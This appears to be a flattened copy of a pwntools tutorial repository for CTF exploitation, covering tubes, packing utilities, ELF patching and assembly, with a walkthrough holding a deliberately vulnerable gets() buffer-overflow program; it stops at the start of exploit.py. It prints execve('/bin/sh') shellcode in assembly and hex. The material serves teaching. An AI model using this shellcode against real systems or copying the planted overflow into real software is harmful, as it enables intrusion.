├── .gitignore ├── LICENSE ├── README.md ├── assembly.md ├── context.md ├── elf.md ├── installing.md ├── tubes.md ├── utility.md └── walkthrough ├── buffer-overflow-basic ├── Makefile ├── README.md ├── challenge ├── challenge.c └── exploit.py ├── elf-symbols-got-overwrite ├── Makefile ├── README.md ├── challenge ├── challenge.c └── exploit.py ├── foreign-architecture ├── Makefile ├── README.md ├── challenge ├── challenge.c └── exploit.py ├── remote-network-connection └── exploit.py ├── shellcode-advanced └── README.md ├── shellcode-basic └── README.md └── shellcode-intermediate └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | 59 | .gdb_history -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Pwntools 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pwntools Tutorials 2 | 3 | This repository contains some basic tutorials for getting started with pwntools (and pwntools). 4 | 5 | These tutorials do not make any effort to explain reverse engineering or exploitation primitives, but assume this knowledge. 6 | 7 | # Introduction 8 | 9 | [`Pwntools`](https://pwntools.com) is a grab-bag of tools to make exploitation during CTFs as painless as possible, and to make exploits as easy to read as possible. 10 | 11 | There are bits of code everyone has written a million times, and everyone has their own way of doing it. Pwntools aims to provide all of these in a semi-standard way, so that you can stop copy-pasting the same `struct.unpack('>I', x)` code around and instead use more slightly more legible wrappers like `pack` or `p32` or even `p64(..., endian='big', sign=True)`. 12 | 13 | Aside from convenience wrappers around mundane functionality, it also provides a very rich set of `tubes` which wrap all of the IO that you'll ever perform in a single, unifying interface. Switching from a local exploit to a remote exploit, or local exploit over SSH becomes a one-line change. 14 | 15 | Last but not least, it also includes a wide array of exploitation assistance tools for intermediate-to-advanced use cases. These include remote symbol resolution given a memory disclosure primitive (`MemLeak` and `DynELF`), ELF parsing and patching (`ELF`), and ROP gadget discovery and call-chain building (`ROP`). 16 | 17 | # Table of Contents 18 | 19 | - [Installing Pwntools](installing.md) 20 | - [Tubes](tubes.md) 21 | + Basic Tubes 22 | + Interactive Shells 23 | + Processes 24 | + Networking 25 | + Secure Shell 26 | + Serial Ports 27 | - [Utility](utility.md) 28 | + Encoding and Hashing 29 | + Packing / unpacking integers 30 | + Pattern generation 31 | + Safe evaluation 32 | - [Context](context.md) 33 | + Architecture 34 | + Endianness 35 | + Log verbosity 36 | + Timeout 37 | - [ELFs](elf.md) 38 | + Reading and writing 39 | + Patching 40 | + Symbols 41 | - [Assembly](assembly.md) 42 | + Assembling shellcode 43 | + Disassembling bytes 44 | + Shellcraft library 45 | + Constants 46 | - [Debugging](debugging.md) 47 | + Debugging local processes 48 | + Breaking at the entry point 49 | + Debugging shellcode 50 | - [ROP](rop.md) 51 | + Dumping gadgets 52 | + Searching for gadgets 53 | + ROP stack generation 54 | + Helper functions 55 | - [Logging](logging.md) 56 | + Basic logging 57 | + Log verbosity 58 | + Progress spinners 59 | - [Leaking Remote Memory](leaking.md) 60 | + Declaring a leak function 61 | + Leaking arbitrary memory 62 | + Remote symbol resolution 63 | -------------------------------------------------------------------------------- /assembly.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [Assembly](#assembly) 5 | * [Basic Assembly](#basic-assembly) 6 | * [Canned assembly (shellcraft)](#canned-assembly-shellcraft) 7 | * [Command-line Tools](#command-line-tools) 8 | * [asm ](#asm) 9 | * [disasm ](#disasm) 10 | * [shellcraft ](#shellcraft) 11 | * [Foreign Architectures](#foreign-architectures) 12 | * [Canned Assembly](#canned-assembly) 13 | * [Command-line Tools](#command-line-tools-1) 14 | 15 | # Assembly 16 | 17 | Pwntools makes it very easy to perform assembly in almost any architecture, and comes with a wide variety of canned-but-customizable shellcode ready to go out-of-the-box. 18 | 19 | In the [`walkthrough`](walkthrough) directory, there are several longer shellcode tutorials. This page gives you the basics. 20 | 21 | ## Basic Assembly 22 | 23 | The most basic example, is to convert assembly into shellcode. 24 | 25 | ```py 26 | from pwn import * 27 | 28 | print repr(asm('xor edi, edi')) 29 | # '1\xff' 30 | 31 | print enhex(asm('xor edi, edi')) 32 | # 31ff 33 | ``` 34 | 35 | ## Canned assembly (`shellcraft`) 36 | 37 | The `shellcraft` module gives you pre-canned assembly. It is generally customizable. The easiest way to find out which `shellcraft` templates exist is to look at the [documentation on RTD](https://pwntools.readthedocs.org/en/latest/shellcraft.html). 38 | 39 | ```py 40 | from pwn import * 41 | help(shellcraft.sh) 42 | print '---' 43 | print shellcraft.sh() 44 | print '---' 45 | print enhex(asm(shellcraft.sh())) 46 | ``` 47 | ``` 48 | Help on function sh in module pwnlib.shellcraft.internal: 49 | 50 | sh() 51 | Execute /bin/sh 52 | --- 53 | /* push '/bin///sh\x00' */ 54 | push 0x68 55 | push 0x732f2f2f 56 | push 0x6e69622f 57 | 58 | /* call execve('esp', 0, 0) */ 59 | push (SYS_execve) /* 0xb */ 60 | pop eax 61 | mov ebx, esp 62 | xor ecx, ecx 63 | cdq /* edx=0 */ 64 | int 0x80 65 | --- 66 | 6a68682f2f2f73682f62696e6a0b5889e331c999cd80 67 | ``` 68 | 69 | ## Command-line Tools 70 | 71 | There are three command-line tools for interacting with assembly: 72 | 73 | - `asm` 74 | - `disasm` 75 | - `shellcraft` 76 | 77 | ### `asm` 78 | 79 | The asm tool does what it says on the tin. It provides several options for formatting the output. When the output is a terminal, it defaults to hex-encoded. 80 | 81 | ``` 82 | $ asm nop 83 | 90 84 | ``` 85 | 86 | When the output is anything else, it writes the raw data. 87 | 88 | ``` 89 | $ asm nop | xxd 90 | 0000000: 90 . 91 | ``` 92 | 93 | It also takes data on stdin if no instructions are provided on the command line. 94 | 95 | ``` 96 | $ echo 'push ebx; pop edi' | asm 97 | 535f 98 | ``` 99 | 100 | Finally, it supports a few different options for specifying the output format, via the `--format` option. Supported arguments are `raw`, `hex`, `string`, and `elf`. 101 | 102 | ``` 103 | $ asm --format=elf 'int3' > ./int3 104 | $ ./halt 105 | Trace/breakpoint trap (core dumped) 106 | ``` 107 | 108 | ### `disasm` 109 | 110 | Disasm is the opposite of `asm`. 111 | 112 | ``` 113 | $ disasm cd80 114 | 0: cd 80 int 0x80 115 | $ asm nop | disasm 116 | 0: 90 nop 117 | ``` 118 | 119 | ### `shellcraft` 120 | 121 | The `shellcraft` command is the command-line interface to the internal `shellcraft` module. On the command-line, the full context must be specified, in the order of `arch.os.template`. 122 | 123 | ``` 124 | $ shellcraft i386.linux.sh 125 | 6a68682f2f2f73682f62696e6a0b5889e331c999cd80 126 | ``` 127 | 128 | ## Foreign Architectures 129 | 130 | Assembling for a foreign architecture requires that you have an appropriate version of `binutils` installed. You should see [installing.md](installing.md) for more information on this. The only change that is necessary is to set the architecture in the global context variable. You can see more information about `context` in [context.md](context.md). 131 | 132 | ```py 133 | from pwn import * 134 | 135 | context.arch = 'arm' 136 | 137 | print repr(asm('mov r0, r1')) 138 | # '\x01\x00\xa0\xe1' 139 | 140 | print enhex(asm('mov r0, r1')) 141 | # 0100a0e1 142 | ``` 143 | 144 | ### Canned Assembly 145 | 146 | The `shellcraft` module automatically switches to the appropriate architecture. 147 | 148 | ```py 149 | from pwn import * 150 | 151 | context.arch = 'arm' 152 | 153 | print shellcraft.sh() 154 | print enhex(asm(shellcraft.sh())) 155 | ``` 156 | ``` 157 | adr r0, bin_sh 158 | mov r2, #0 159 | mov r1, r2 160 | svc SYS_execve 161 | bin_sh: .asciz "/bin/sh" 162 | 163 | 08008fe20020a0e30210a0e10b0000ef2f62696e2f736800 164 | ``` 165 | 166 | ### Command-line Tools 167 | 168 | You can also use the command line to assemble foreign-arch shellcode, by using the `--context` command-line option. 169 | 170 | ``` 171 | $ asm --context=arm 'mov r0, r1' 172 | 0100a0e1 173 | $ shellcraft arm.linux.sh 174 | 08008fe20020a0e30210a0e10b0000ef2f62696e2f736800 175 | ``` 176 | -------------------------------------------------------------------------------- /context.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [Context](#context) 5 | * [Context Settings](#context-settings) 6 | * [arch](#arch) 7 | * [bits](#bits) 8 | * [binary](#binary) 9 | * [endian](#endian) 10 | * [log_file](#log_file) 11 | * [log_level](#log_level) 12 | * [sign](#sign) 13 | * [terminal](#terminal) 14 | * [timeout](#timeout) 15 | * [update](#update) 16 | 17 | # Context 18 | 19 | The `context` object is a global, thread-aware object which contains various settins used by `pwntools`. 20 | 21 | Generally at the top of an exploit, you'll find something like: 22 | 23 | ```py 24 | from pwn import * 25 | context.arch = 'amd64' 26 | ``` 27 | 28 | Which informs pwntools that shellcode generated will be for `amd64`, and that the default word size is 64 bits 29 | 30 | ## Context Settings 31 | 32 | ### arch 33 | 34 | The target architecture. Valid values are `"aarch64"`, `"arm"`, `"i386"`, `"amd64"`, etc. The default is `"i386"`. 35 | 36 | The first time this is set, it automatically sets the default `context.bits` and `context.endian` to the most likely values. 37 | 38 | ### bits 39 | 40 | How many bits make up a word in the target binary, e.g. 32 or 64. 41 | 42 | ### binary 43 | 44 | Absorb settings from an ELF file. For example, `context.binary='/bin/sh'`. 45 | 46 | ### endian 47 | 48 | Set to `"big"` or `"little"` (the default) as needed. 49 | 50 | ### log_file 51 | 52 | File to send all of the logging output into. 53 | 54 | ### log_level 55 | 56 | Verbosity of logs. Valid values are integers (lower is more verbose), and string values like `"debug"`, `"info"`, and `"error"`. 57 | 58 | ### sign 59 | 60 | Sets the default signed-ness of integer packing / unpacking. Default is `"unsigned"`. 61 | 62 | ### terminal 63 | 64 | Preferred terminal program to open new windows with. By default, uses `x-terminal-emulator` or `tmux`. 65 | 66 | ### timeout 67 | 68 | Default timeout for tube operations. 69 | 70 | ### update 71 | 72 | Sets multiple values at once, e.g. `context.update(arch='mips', bits=64, endian='big')`. 73 | -------------------------------------------------------------------------------- /elf.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [ELFs](#elfs) 5 | * [Loading ELF files](#loading-elf-files) 6 | * [Using Symbols](#using-symbols) 7 | * [Changing the Base Address](#changing-the-base-address) 8 | * [Reading ELF Files](#reading-elf-files) 9 | * [Patching ELF Files](#patching-elf-files) 10 | * [Searching ELF Files](#searching-elf-files) 11 | * [Building ELF Files](#building-elf-files) 12 | 13 | 14 | # ELFs 15 | 16 | Pwntools makes interacting with ELF files relatively straightforward, via the `ELF` class. You can find the full documentation on [RTD](https://pwntools.readthedocs.org/en/latest/elf.html). 17 | 18 | ## Loading ELF files 19 | 20 | ELF files are loaded by path. Upon being loaded, some security-relevant attributes about the file are printed. 21 | 22 | ```py 23 | from pwn import * 24 | 25 | e = ELF('/bin/bash') 26 | # [*] '/bin/bash' 27 | # Arch: amd64-64-little 28 | # RELRO: Partial RELRO 29 | # Stack: Canary found 30 | # NX: NX enabled 31 | # PIE: No PIE 32 | # FORTIFY: Enabled 33 | ``` 34 | 35 | ## Using Symbols 36 | 37 | ELF files have a few different sets of symbols available, each contained in a dictionary of `{name: data}`. 38 | 39 | - `ELF.symbols` lists all known symbols, including those below. Preference is given the PLT entries over GOT entries. 40 | - `ELF.got` only contains GOT entries 41 | - `ELF.plt` only contains PLT entries 42 | - `ELF.functions` only contains functions (requires DWARF symbols) 43 | 44 | This is very useful in keeping exploits robust, by removing the need to hard-code addresses. 45 | 46 | ```py 47 | from pwn import * 48 | 49 | e = ELF('/bin/bash') 50 | 51 | print "%#x -> license" % e.symbols['bash_license'] 52 | print "%#x -> execve" % e.symbols['execve'] 53 | print "%#x -> got.execve" % e.got['execve'] 54 | print "%#x -> plt.execve" % e.plt['execve'] 55 | print "%#x -> list_all_jobs" % e.functions['list_all_jobs'].address 56 | ``` 57 | 58 | This would print something like the following: 59 | 60 | ``` 61 | 0x4ba738 -> license 62 | 0x41db60 -> execve 63 | 0x6f0318 -> got.execve 64 | 0x41db60 -> plt.execve 65 | 0x446420 -> list_all_jobs 66 | ``` 67 | 68 | ## Changing the Base Address 69 | 70 | Changing the base address of the ELF file (e.g. to adjust for ASLR) is very straightforward. Let's change the base address of `bash`, and see all of the symbols change. 71 | 72 | ```py 73 | from pwn import * 74 | 75 | e = ELF('/bin/bash') 76 | 77 | print "%#x -> base address" % e.address 78 | print "%#x -> entry point" % e.entry 79 | print "%#x -> execve" % e.symbols['execve'] 80 | 81 | print "---" 82 | e.address = 0x12340000 83 | 84 | print "%#x -> base address" % e.address 85 | print "%#x -> entry point" % e.entry 86 | print "%#x -> execve" % e.symbols['execve'] 87 | ``` 88 | 89 | This should print something like: 90 | 91 | ``` 92 | 0x400000 -> base address 93 | 0x42020b -> entry point 94 | 0x41db60 -> execve 95 | --- 96 | 0x12340000 -> base address 97 | 0x1236020b -> entry point 98 | 0x1235db60 -> execve 99 | ``` 100 | 101 | ## Reading ELF Files 102 | 103 | We can directly interact with the ELF as if it were loaded into memory, using `read`, `write`, and functions named identically to that in the `packing` module. Additionally, you can see the disassembly via the `disasm` method. 104 | 105 | ```py 106 | from pwn import * 107 | 108 | e = ELF('/bin/bash') 109 | 110 | print repr(e.read(e.address, 4)) 111 | 112 | p_license = e.symbols['bash_license'] 113 | license = e.unpack(p_license) 114 | print "%#x -> %#x" % (p_license, license) 115 | 116 | print e.read(license, 14) 117 | print e.disasm(e.symbols['main'], 12) 118 | ``` 119 | 120 | This prints something like: 121 | 122 | ``` 123 | '\x7fELF' 124 | 0x4ba738 -> 0x4ba640 125 | License GPLv3+ 126 | 41eab0: 41 57 push r15 127 | 41eab2: 41 56 push r14 128 | 41eab4: 41 55 push r13 129 | ``` 130 | 131 | ## Patching ELF Files 132 | 133 | Patching ELF files is just as simple. 134 | 135 | ```py 136 | from pwn import * 137 | 138 | e = ELF('/bin/bash') 139 | 140 | # Cause a debug break on the 'exit' command 141 | e.asm(e.symbols['exit_builtin'], 'int3') 142 | 143 | # Disable chdir and just print it out instead 144 | e.pack(e.got['chdir'], e.plt['puts']) 145 | 146 | # Change the license 147 | p_license = e.symbols['bash_license'] 148 | license = e.unpack(p_license) 149 | e.write(license, 'Hello, world!\n\x00') 150 | 151 | e.save('./bash-modified') 152 | ``` 153 | 154 | We can then run our modified version of bash. 155 | 156 | ``` 157 | $ chmod +x ./bash-modified 158 | $ ./bash-modified -c 'exit' 159 | Trace/breakpoint trap (core dumped) 160 | $ ./bash-modified --version | grep "Hello" 161 | Hello, world! 162 | $ ./bash-modified -c 'cd "No chdir for you!"' 163 | /home/user/No chdir for you! 164 | No chdir for you! 165 | ./bash-modified: line 0: cd: No chdir for you!: No such file or directory 166 | ``` 167 | 168 | ## Searching ELF Files 169 | 170 | Every once in a while, you just need to find some byte sequence. The most common example is searching for e.g. `"/bin/sh\x00"` for an `execve` call. 171 | The `search` method returns an iterator, allowing you to either take the first result, or keep searching if you need something special (e.g. no bad characters in the address). You can optionally pass a `writable` argument to `search`, indicating it should only return addresses in writable segments. 172 | 173 | ```py 174 | from pwn import * 175 | 176 | e = ELF('/bin/bash') 177 | 178 | for address in e.search('/bin/sh\x00'): 179 | print hex(address) 180 | ``` 181 | 182 | The above example prints something like: 183 | 184 | ``` 185 | 0x420b82 186 | 0x420c5e 187 | ``` 188 | 189 | ## Building ELF Files 190 | 191 | ELF files can be created from scratch relatively easy. All of these functions are context-aware. The relevant functions are `from_bytes` and `from_assembly`. Each returns an `ELF` object, which can easily be saved to file. 192 | 193 | ``` 194 | from pwn import * 195 | 196 | ELF.from_bytes('\xcc').save('int3-1') 197 | ELF.from_assembly('int3').save('int3-2') 198 | ELF.from_assembly('nop', arch='powerpc').save('powerpc-nop') 199 | ``` 200 | -------------------------------------------------------------------------------- /installing.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [Installing Pwntools](#installing-pwntools) 5 | * [Verifying Installation](#verifying-installation) 6 | * [Foreign Architectures](#foreign-architectures) 7 | 8 | # Installing Pwntools 9 | 10 | This process is as straightforward as it can be. Ubuntu 14.04 and 12.04 are the only "officially supported" platforms, in that they're the only platforms we do automated testing on. 11 | 12 | ```sh 13 | apt-get update 14 | apt-get install python2.7 python-pip python-dev git 15 | pip install --upgrade git+https://github.com/Gallopsled/pwntools.git 16 | ``` 17 | 18 | Everything else, you're on your own. 19 | 20 | ## Verifying Installation 21 | 22 | Everything should be A-OK if the following command succeeds: 23 | 24 | ```sh 25 | $ python -c 'from pwn import *' 26 | ``` 27 | 28 | ## Foreign Architectures 29 | 30 | If you want to assemble or disassemble code for foreign architectures, you need an appropriate `binutils` installation. For Ubuntu and Mac OS X users, the [installation instructions][binutils] are very straightforward. The pre-built binaries are available from Ubuntu Launchpad. These are built by Ubuntu, on their servers, using the original unmodified source package -- no need to trust maintainers! 31 | 32 | For example, to install `binutils` for MIPS: 33 | 34 | ```sh 35 | $ apt-get install software-properties-common 36 | $ apt-add-repository ppa:pwntools/binutils 37 | $ apt-get update 38 | $ apt-get install binutils-mips-linux-gnu 39 | ``` 40 | 41 | [binutils]: https://pwntools.readthedocs.org/en/latest/install/binutils.html 42 | -------------------------------------------------------------------------------- /tubes.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [Tubes](#tubes) 5 | * [Basic IO](#basic-io) 6 | * [Receiving data](#receiving-data) 7 | * [Sending data](#sending-data) 8 | * [Manipulating integers](#manipulating-integers) 9 | * [Processes and Basic Features](#processes-and-basic-features) 10 | * [Interactive Sessions](#interactive-sessions) 11 | * [Networking](#networking) 12 | * [Secure Shell](#secure-shell) 13 | * [Serial Ports](#serial-ports) 14 | 15 | # Tubes 16 | 17 | Tubes are effectively I/O wrappers for most types of I/O you'll need to perform: 18 | 19 | - Local processes 20 | - Remote TCP or UDP connections 21 | - Processes running on a remote server over SSH 22 | - Serial port I/O 23 | 24 | This introduction provides a few examples of the functionality provided, but more complex combinations are possible. See [the full documentation][docs] for more information on how to perform regular expression matching, and connecting tubes together. 25 | 26 | ## Basic IO 27 | 28 | The basic functions that you'll probably want out of your IO are: 29 | 30 | ### Receiving data 31 | 32 | - `recv(n)` - Receive any number of available bytes 33 | - `recvline()` - Receive data until a newline is encountered 34 | - `recvuntil(delim)` - Receive data until a delimiter is found 35 | - `recvregex(pattern)` - Receive data until a regex pattern is satisfied 36 | - `recvrepeat(timeout)` - Keep receiving data until a timeout occurs 37 | - `clean()` - Discard all buffered data 38 | 39 | ### Sending data 40 | 41 | - `send(data)` - Sends data 42 | - `sendline(line)` - Sends data plus a newline 43 | 44 | ### Manipulating integers 45 | 46 | - `pack(int)` - Sends a word-size packed integer 47 | - `unpack()` - Receives and unpacks a word-size integer 48 | 49 | ## Processes and Basic Features 50 | 51 | In order to create a tube to talk to a process, you just create a `process` object and give it the name of the target binary. 52 | 53 | ```py 54 | from pwn import * 55 | 56 | io = process('sh') 57 | io.sendline('echo Hello, world') 58 | io.recvline() 59 | # 'Hello, world\n' 60 | ``` 61 | 62 | If you need to provide command-line arguments, or set the environment, additional options are available. See [the full documentation][process] for more information; 63 | 64 | ```py 65 | from pwn import * 66 | 67 | io = process(['sh', '-c', 'echo $MYENV'], env={'MYENV': 'MYVAL'}) 68 | io.recvline() 69 | # 'MYVAL\n' 70 | ``` 71 | 72 | Reading binary data isn't a problem either. You can receive up-to a number of bytes with `recv`, or block for an exact count with `recvn`. 73 | 74 | ```py 75 | from pwn import * 76 | 77 | io = process(['sh', '-c', 'echo A; sleep 1; echo B; sleep 1; echo C; sleep 1; echo DDD']) 78 | 79 | io.recv() 80 | # 'A\n' 81 | 82 | io.recvn(4) 83 | # 'B\nC\n' 84 | 85 | hex(io.unpack()) 86 | # 0xa444444 87 | ``` 88 | 89 | ## Interactive Sessions 90 | 91 | Did you land a shell on the game server? Hurray! It's pretty easy to use it interactively. 92 | 93 | ```py 94 | from pwn import * 95 | 96 | # Let's pretend we're uber 1337 and landed a shell. 97 | io = process('sh') 98 | 99 | # 100 | 101 | io.interactive() 102 | ``` 103 | 104 | 105 | ## Networking 106 | 107 | Creating a network connection is also easy, and has the exact same interface. A `remote` object connects to somewhere else, while a `listen` object waits for a connection. 108 | 109 | ```py 110 | from pwn import * 111 | 112 | io = remote('google.com', 80) 113 | io.send('GET /\r\n\r\n') 114 | io.recvline() 115 | # 'HTTP/1.0 200 OK\r\n' 116 | ``` 117 | 118 | If you need to specify protocol information, it's also pretty straightforward. 119 | 120 | ```py 121 | from pwn import * 122 | 123 | dns = remote('8.8.8.8', 53, typ='udp') 124 | tcp6 = remote('google.com', 80, fam='ipv6') 125 | ``` 126 | 127 | Listening for connections isn't much more complex. Note that this listens for exactly one connection, then stops listening. 128 | 129 | ```py 130 | from pwn import * 131 | 132 | client = listen(8080).wait_for_connection() 133 | ``` 134 | 135 | ## Secure Shell 136 | 137 | SSH connectivity is similarly simple. Compare the code below with that in "Hello Process" above. 138 | 139 | You can also do more complex things with SSH, such as port forwarding and file upload / download. See the [SSH tutorial][ssh] for more information. 140 | 141 | ```py 142 | from pwn import * 143 | 144 | session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0') 145 | 146 | io = session.process('sh', env={"PS1":""}) 147 | io.sendline('echo Hello, world!') 148 | io.recvline() 149 | # 'Hello, world!\n' 150 | ``` 151 | 152 | 153 | ## Serial Ports 154 | 155 | In the event you need to get some local hacking done, there's also a serial tube. As always, there is more information in the [full online documentation][serial]. 156 | 157 | ```py 158 | from pwn import * 159 | 160 | io = serialtube('/dev/ttyUSB0', baudrate=115200) 161 | ``` 162 | 163 | [docs]: https://pwntools.readthedocs.org/en/latest/tubes.html 164 | [process]: https://pwntools.readthedocs.org/en/latest/tubes/processes.html 165 | [ssh]: ssh.md 166 | [remote]: https://pwntools.readthedocs.org/en/latest/tubes/sock.html 167 | [serial]: https://pwntools.readthedocs.org/en/latest/tubes/serial.html 168 | -------------------------------------------------------------------------------- /utility.md: -------------------------------------------------------------------------------- 1 | Table of Contents 2 | ================= 3 | 4 | * [Utility Functions](#utility-functions) 5 | * [Packing and Unpacking Integers](#packing-and-unpacking-integers) 6 | * [File I/O](#file-io) 7 | * [Hashing and Encoding](#hashing-and-encoding) 8 | * [Base64](#base64) 9 | * [Hashes](#hashes) 10 | * [URL Encoding](#url-encoding) 11 | * [Hex Encoding](#hex-encoding) 12 | * [Bit Manipulation and Hex Dumping](#bit-manipulation-and-hex-dumping) 13 | * [Hex Dumping](#hex-dumping) 14 | * [Patten Generation](#patten-generation) 15 | 16 | # Utility Functions 17 | 18 | About half of Pwntools is utility functions so that you no longer need to copy paste things like this around: 19 | 20 | ```py 21 | import struct 22 | 23 | def p(x): 24 | return struct.pack('I', x) 25 | def u(x): 26 | return struct.unpack('I', x)[0] 27 | 28 | 1234 == u(p(1234)) 29 | ``` 30 | 31 | Instead, you just get nice little wrappers. As an added bonus, everything is a bit more legible and easier to understand when reading someone else's exploit code. 32 | 33 | ```py 34 | from pwn import * 35 | 36 | 1234 == unpack(pack(1234)) 37 | ``` 38 | 39 | ## Packing and Unpacking Integers 40 | 41 | This is probably the most common thing you'll do, so it's at the top. The main `pack` and `unpack` functions are aware of the global settings in [`context`](context.md) such as `endian`, `bits`, and `sign`. 42 | 43 | You can also specify them explitily in the function call. 44 | 45 | ```py 46 | pack(1) 47 | # '\x01\x00\x00\x00' 48 | 49 | pack(-1) 50 | # '\xff\xff\xff\xff' 51 | 52 | pack(2**32 - 1) 53 | # '\xff\xff\xff\xff' 54 | 55 | pack(1, endian='big') 56 | # '\x00\x00\x00\x01' 57 | 58 | p16(1) 59 | # '\x01\x00' 60 | 61 | hex(unpack('AAAA')) 62 | # '0x41414141' 63 | 64 | hex(u16('AA')) 65 | # '0x4141' 66 | ``` 67 | 68 | ## File I/O 69 | 70 | A single function call and it does what you want it to. 71 | 72 | ```py 73 | from pwn import * 74 | 75 | write('filename', 'data') 76 | read('filename') 77 | # 'data' 78 | read('filename', 1) 79 | # 'd' 80 | ``` 81 | 82 | ## Hashing and Encoding 83 | 84 | Quick access to lots of functions to transform your data into whatever format you need it in. 85 | 86 | #### Base64 87 | 88 | ```py 89 | 'hello' == b64d(b64e('hello')) 90 | ``` 91 | 92 | #### Hashes 93 | 94 | ```py 95 | md5sumhex('hello') == '5d41402abc4b2a76b9719d911017c592' 96 | write('file', 'hello') 97 | md5filehex('file') == '5d41402abc4b2a76b9719d911017c592' 98 | sha1sumhex('hello') == 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d' 99 | ``` 100 | 101 | #### URL Encoding 102 | 103 | ```py 104 | urlencode("Hello, World!") == '%48%65%6c%6c%6f%2c%20%57%6f%72%6c%64%21' 105 | ``` 106 | 107 | #### Hex Encoding 108 | 109 | ```py 110 | enhex('hello') 111 | # '68656c6c6f' 112 | unhex('776f726c64') 113 | # 'world' 114 | ``` 115 | 116 | #### Bit Manipulation and Hex Dumping 117 | 118 | ```py 119 | bits(0b1000001) == bits('A') 120 | # [0, 0, 0, 1, 0, 1, 0, 1] 121 | unbits([0,1,0,1,0,1,0,1]) 122 | # 'U' 123 | ``` 124 | 125 | #### Hex Dumping 126 | 127 | ```py 128 | print hexdump(read('/dev/urandom', 32)) 129 | # 00000000 65 4c b6 62 da 4f 1d 1b d8 44 a6 59 a3 e8 69 2c │eL·b│·O··│·D·Y│··i,│ 130 | # 00000010 09 d8 1c f2 9b 4a 9e 94 14 2b 55 7c 4e a8 52 a5 │····│·J··│·+U|│N·R·│ 131 | # 00000020 132 | ``` 133 | 134 | ## Pattern Generation 135 | 136 | Pattern generation is a very handy way to find offsets without needing to do math. 137 | 138 | Let's say we have a straight buffer overflow, and we generate a pattern and provide it to the target application. 139 | 140 | ```py 141 | io = process(...) 142 | io.send(cyclic(512)) 143 | ``` 144 | 145 | In the core dump, we might see that the crash occurs at 0x61616178. We can avoid needing to do any analysis of the crash frame by just punching that number back in and getting an offset. 146 | 147 | ```py 148 | cyclic_find(0x61616178) 149 | # 92 150 | ``` 151 | -------------------------------------------------------------------------------- /walkthrough/buffer-overflow-basic/Makefile: -------------------------------------------------------------------------------- 1 | 2 | challenge: challenge.c 3 | gcc -g -m32 -fno-stack-protector -z execstack $^ -o $@ 4 | -------------------------------------------------------------------------------- /walkthrough/buffer-overflow-basic/README.md: -------------------------------------------------------------------------------- 1 | # Basic Buffer Overflow 2 | 3 | This directory is the most basic, classic, stack-based buffer overflow. 4 | 5 | The stack is executable, and the binary is not randomized. 6 | 7 | A few things are demonstrated in this example: 8 | 9 | - `process` tube 10 | - `gdb.attach` for debugging processes 11 | - `ELF` for searching for assembly instructions 12 | - `cyclic` and `cyclic_find` for calculating offsets 13 | - `pack` for packing integers into byte strings 14 | - `asm` for assembling shellcode 15 | - `shellcraft` for providing a shellcode library 16 | - `tube.interactive` for enjoying your shell 17 | 18 | Feel free to modify the example, and try some other shellcode snippet! 19 | 20 | You can easily list the available shellcode from the command-line: 21 | 22 | ``` 23 | $ shellcraft | grep i386 24 | ... 25 | i386.linux.execve 26 | ... 27 | ``` 28 | -------------------------------------------------------------------------------- /walkthrough/buffer-overflow-basic/challenge: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/carlospolop/pwntools-tutorial/a948b006d7f90f44ff5a0a80292134b0d21d3511/walkthrough/buffer-overflow-basic/challenge -------------------------------------------------------------------------------- /walkthrough/buffer-overflow-basic/challenge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int oh_look_useful() { 5 | asm("jmp %esp"); 6 | } 7 | 8 | int main() { 9 | char buffer[32]; 10 | gets(buffer); 11 | } 12 | 13 | -------------------------------------------------------------------------------- /walkthrough/buffer-overflow-basic/exploit.py: -------------------------------------------------------------------------------- 1 | # Import everything in the 